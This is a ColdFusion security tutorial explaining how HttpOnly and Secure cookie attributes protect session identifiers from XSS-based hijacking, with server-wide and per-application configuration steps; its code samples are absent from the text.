Securing your applications using HttpOnly cookies with ColdFusion

Cookies are a critical component to most ColdFusion web applications. Some cookies such as session identifier cookies (CFID, CFTOKEN, or JSESSIONID) contain sensitive information. If an attacker is able to read an end-user's session identifier cookies, he can impersonate the end-user (this is also known as session hijacking).

In this article, you'll learn about HttpOnly cookies, why they are important, and how you can leverage them to improve the security of your ColdFusion applications.

When the HttpOnly attribute is present in a Set-Cookie HTTP response header from the server, the browser (if it supports the httponly attribute) will prevent non HTTP APIs, such as JavaScript, from reading the cookie value or writing values to these cookies.

Now, let's assume that your site has a cross-site scripting (XSS) vulnerability, which allows an attacker to execute arbitrary client-side code on your domain. In this case, your code might look like this:

An attacker may now attempt to use this XSS hole to hijack sessions by sending your users to a uri like the following one:

Any cookies that you create with the httponly attribute will not be present in JavaScript's document.cookie variable on browsers where HttpOnly is supported. Browsers will still send HttpOnly cookies when making AJAX calls or XMLHttpRequest calls, however their values still cannot be accessed from your JavaScript code.

On browsers that don't recognize HttpOnly cookies, the cookie values will still be accessible in JavaScript's document.cookie variable. You'll be reading more about browser support in the next sections.

As you will see it's really quite simple to turn an existing cookie into an HttpOnly cookie. You can add this extra layer of protection to most of your applications in a very small amount of time.

As of ColdFusion 9.0, you can use the httponly attribute in the cfcookie tag which accepts a boolean value, for example:

The above code results in the server writing a HTTP response header that looks like the following:

Support for the HttpOnly cookie attribute has existed as far back as 2002 when Microsoft pioneered it in Internet Explorer 6 SP1. Five long years later, Firefox 2.0.0.5 was the first version to support HttpOnly in 2007. Safari and Chrome have followed suit, and support HttpOnly as well. The HttpOnly cookie attribute is defined in the RFC 6265 published in April 2011, currently in proposed standard status.

It's worth noting that some early implementations of HttpOnly support in browsers failed to prevent overwriting of HttpOnly cookies in JavaScript. This omission provides a vehicle for attack vectors such as session fixation among others. Early implementations of HttpOnly support in some browsers, for example Firefox 2, failed to restrict access to HttpOnly cookies when making an XMLHttpRequest with JavaScript. By making an XMLHttpRequest (or AJAX) call, the attacker can read the value of the cookie in a Set-Cookie HTTP response header on such browsers.

What if the browser doesn't support HttpOnly?

You now know that when a browser fully supports HttpOnly cookies it will restrict access to reading and writing its values in non-http API's such as JavaScript. You may however be wondering what happens when a browser does not support HttpOnly–thankfully, such browsers simply ignore the HttpOnly attribute. This means that you can add HttpOnly to your cookies without causing problems in older browsers. Those cookies read by a modern browser get the protection of HttpOnly, those that do not work as if HttpOnly were omitted.

When should you use HttpOnly cookies?

The security rule: "principle of least privilege" suggests that you make your cookies HttpOnly whenever it is possible for you to do so. Thus, I recommend that any cookie that you set through the cfcookie tag use the httponly attribute, unless it is absolutely necessary that it be read by JavaScript.

If you must access a cookie from JavaScript, it may not be marked HttpOnly. Keep in mind the security ramifications of this, and avoid use of sensitive cookies within JavaScript.

What about Secure Cookies?

The secure cookie attribute instructs the browser to only transmit the cookie when a secure connection (for example a HTTPS/SSL connection) is present. If your web application supports or requires SSL, you may want to use the secure cookie attribute to further improve security. ColdFusion has supported the secure attribute on the cfcookie since ColdFusion 3, and possibly earlier.

When secure session cookies are enabled your web application will only maintain sessions when HTTPS is used. When HTTPS is not used a new session will be created on each request.

Because session cookies contain very sensitive information, they are a prime candidate for adding the httponly attribute. Below, I describe two common approaches to making your ColdFusion session cookies HttpOnly.

Enabling server-wide HttpOnly session cookies

The ColdFusion 9.0.1 update added a server-wide setting to add the httponly attribute to all session cookies created by ColdFusion (such as the CFID and CFTOKEN cookies, or the JSESSIONID cookie on JRun). To enable this setting, if you are running a JRun J2EE installation or multi-server installation, you must edit jvm.config, otherwise you can enable this setting from the CF Administrator. If you are running a J2EE server other than JRun consult your documentation for an appropriate setting. J2EE servers that support the Servlet 3.0 specification can specify <session-config><cookie-config><http-only>true</http-only></cookie-config></session-config> in the /WEB-INF/web.xml file.

To enable this setting in a JRun J2EE installation or multi-server installation, you must define the following Java system property coldfusion.sessioncookie.httponly and set it to true . You can define Java system properties when the JVM is loaded by adding the following line:

If you have installed ColdFusion in J2EE or multi-server mode, system properties must be defined by editing the jvm.config file which is located in the bin directory under your JRun root directory in a default configuration.

If you are running ColdFusion Standard Edition, or Enterprise in stand-alone mode, you can enable this setting by defining the property in the ColdFusion administrator by following these steps:

1. Log on to ColdFusion Administrator.
2. Under Server Settings click Java and JVM.
3. Append the following line -Dcoldfusion.sessioncookie.httponly=true to the text box labeled JVM Arguments.
4. Restart ColdFusion server.

This approach makes it easy to add the httponly attribute to session cookies in ColdFusion. If you use SSL you may want your session cookies to also use the secure attribute. ColdFusion does not provide a mechanism to enable the secure attribute on session cookies, however JRun, and other servlet containers (such as Tomcat) do provide a such a mechanism. This requires that J2EE sessions are enabled in the ColdFusion administrator. To enable secure session cookies on JRun you must add <cookie-secure>true</cookie-secure> to the jrun-web.xml file:

You must restart ColdFusion / JRun for this change to be picked up.

Support for setting HttpOnly on a JSESSIONID cookie may vary if you are using a J2EE server other than JRun. Tomcat and JBoss require a native approach to set the HttpOnly attribute, this approach and the following approach may not work on all J2EE servers..

Enabling HttpOnly session cookies per Application

You may be in a scenario where the server wide HttpOnly setting is not enabled, or prefer to control exactly how session identifier cookies are created on a per Application basis. Please note however that the following approach does not work when J2EE sessions are enabled.

The ColdFusion Application setting setClientCookies when set to false prevents ColdFusion from automatically writing the session identifier cookies on session start. You can take advantage of that and write the cookies on your own in your onSessionStart function. In the following Application.cfc example, the following code creates HttpOnly cookies for the CFID and CFTOKEN session cookies:

One advantage of this approach is that you can also control the expiration of the session cookies. In other words, in the above example, in the cfcookie tags, I have ommited the expires attribute, which means that the cookies will expire when the end user closes the browser.

You can also use this technique on versions of ColdFusion prior to 9 but since cfcookie doesn't support HttpOnly on prior versions, you must write the cookies by writing a Set-Cookie header with cfheader .

You should now have an understanding of what HttpOnly cookies are and why you should start using them. The added support for HttpOnly in ColdFusion 9 makes enabling using HttpOnly cookies much easier than with prior versions.

See the following resources for more information about HttpOnly cookies:

• Open Web Application Security Project resource for HttpOnly cookies
• My Blog on this topic, Setting up HTTPOnly Session Cookies for ColdFusion
• RFC 6265 Specification for HttpOnly cookies